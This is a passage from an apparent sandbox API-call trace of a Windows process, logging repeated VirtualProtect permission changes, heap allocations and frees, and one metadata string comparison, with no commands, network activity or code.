lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.894] VirtualProtect (in: lpAddress=0x2922a4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.894] VirtualProtect (in: lpAddress=0x2922ac, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.894] VirtualProtect (in: lpAddress=0x2922b4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.895] VirtualProtect (in: lpAddress=0x2922bc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.895] VirtualProtect (in: lpAddress=0x2922c4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.899] VirtualProtect (in: lpAddress=0x2922cc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.899] VirtualProtect (in: lpAddress=0x2922d4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.900] VirtualProtect (in: lpAddress=0x2922dc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.900] VirtualProtect (in: lpAddress=0x2922e4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.900] VirtualProtect (in: lpAddress=0x2922ec, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.901] VirtualProtect (in: lpAddress=0x292308, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.901] VirtualProtect (in: lpAddress=0x292310, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.901] GetProcessHeap () returned 0xd90000 [0122.901] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4770 [0122.901] GetProcessHeap () returned 0xd90000 [0122.901] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4780 [0122.901] GetProcessHeap () returned 0xd90000 [0122.901] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4790 [0122.901] GetProcessHeap () returned 0xd90000 [0122.901] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xde47a0 [0122.901] GetProcessHeap () returned 0xd90000 [0122.901] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde47b0 [0122.901] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xde47c0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde47d0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xde47e0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde47f0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xde4800 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4810 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xde4820 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4830 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xde4840 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4850 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x24) returned 0xdfbb60 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4860 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7cfa8 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4870 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xde4880 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4890 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x24) returned 0xdfbb90 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde48a0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x10) returned 0xe7cfc0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde48b0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde48c0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde48d0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7cfd8 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde48e0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7cff0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde48f0 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d008 [0122.902] GetProcessHeap () returned 0xd90000 [0122.902] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4900 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d020 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4910 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xde4920 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d360 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d038 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d370 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x14) returned 0xddce58 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d380 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d050 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d390 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d3a0 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d3b0 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d3c0 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d3d0 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d3e0 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d3f0 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d068 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d400 [0122.903] GetProcessHeap () returned 0xd90000 [0122.903] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x10) returned 0xe7d080 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d410 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d420 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d430 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x10) returned 0xe7d098 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d440 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d450 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d460 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x10) returned 0xe7d0b0 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d470 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d0c8 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d480 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x18) returned 0xddcd98 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d490 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d0e0 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d4a0 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d0f8 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d4b0 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d4c0 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d4d0 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x14) returned 0xddceb8 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d4e0 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xe7d4f0 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d500 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d510 [0122.904] GetProcessHeap () returned 0xd90000 [0122.904] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d520 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d110 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d530 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d128 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d540 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d550 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d560 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xe7d570 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d580 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x18) returned 0xddce98 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d590 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d140 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d5a0 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x4) returned 0xe7d5b0 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d5c0 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d5d0 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d5e0 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d5f0 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d600 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d610 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d620 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d630 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d640 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d650 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d660 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d670 [0122.905] GetProcessHeap () returned 0xd90000 [0122.905] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d680 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d690 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d6a0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d6b0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d6c0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d6d0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d6e0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d6f0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d158 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d700 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d170 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d710 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x50) returned 0xdcd608 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d720 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d730 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d760 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d188 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d770 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x14) returned 0xddcfb8 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d780 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d790 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d7a0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d7b0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d7c0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d7d0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d7e0 [0122.906] GetProcessHeap () returned 0xd90000 [0122.906] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d1a0 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d7f0 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x14) returned 0xddcfd8 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d800 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x10) returned 0xe7d1b8 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d810 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x8) returned 0xe7d820 [0122.907] lstrcmpA (lpString1="#~", lpString2="#~") returned 0 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d1d0 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d1e8 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d200 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d218 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d230 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d248 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d260 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d278 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x80) returned 0xdefa18 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdf86c8 | out: hHeap=0xd90000) returned 1 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d290 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d2a8 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d2c0 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d2d8 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d2f0 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d308 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7d320 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7db60 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x100) returned 0xdfff90 [0122.907] GetProcessHeap () returned 0xd90000 [0122.907] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdefa18 | out: hHeap=0xd90000) returned 1 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7db78 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7db90 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dba8 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dbc0 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dbd8 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dbf0 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dc08 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dc20 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dc38 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dc50 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dc68 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dc80 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dc98 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dcb0 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dcc8 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dce0 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x200) returned 0x5129f08 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, 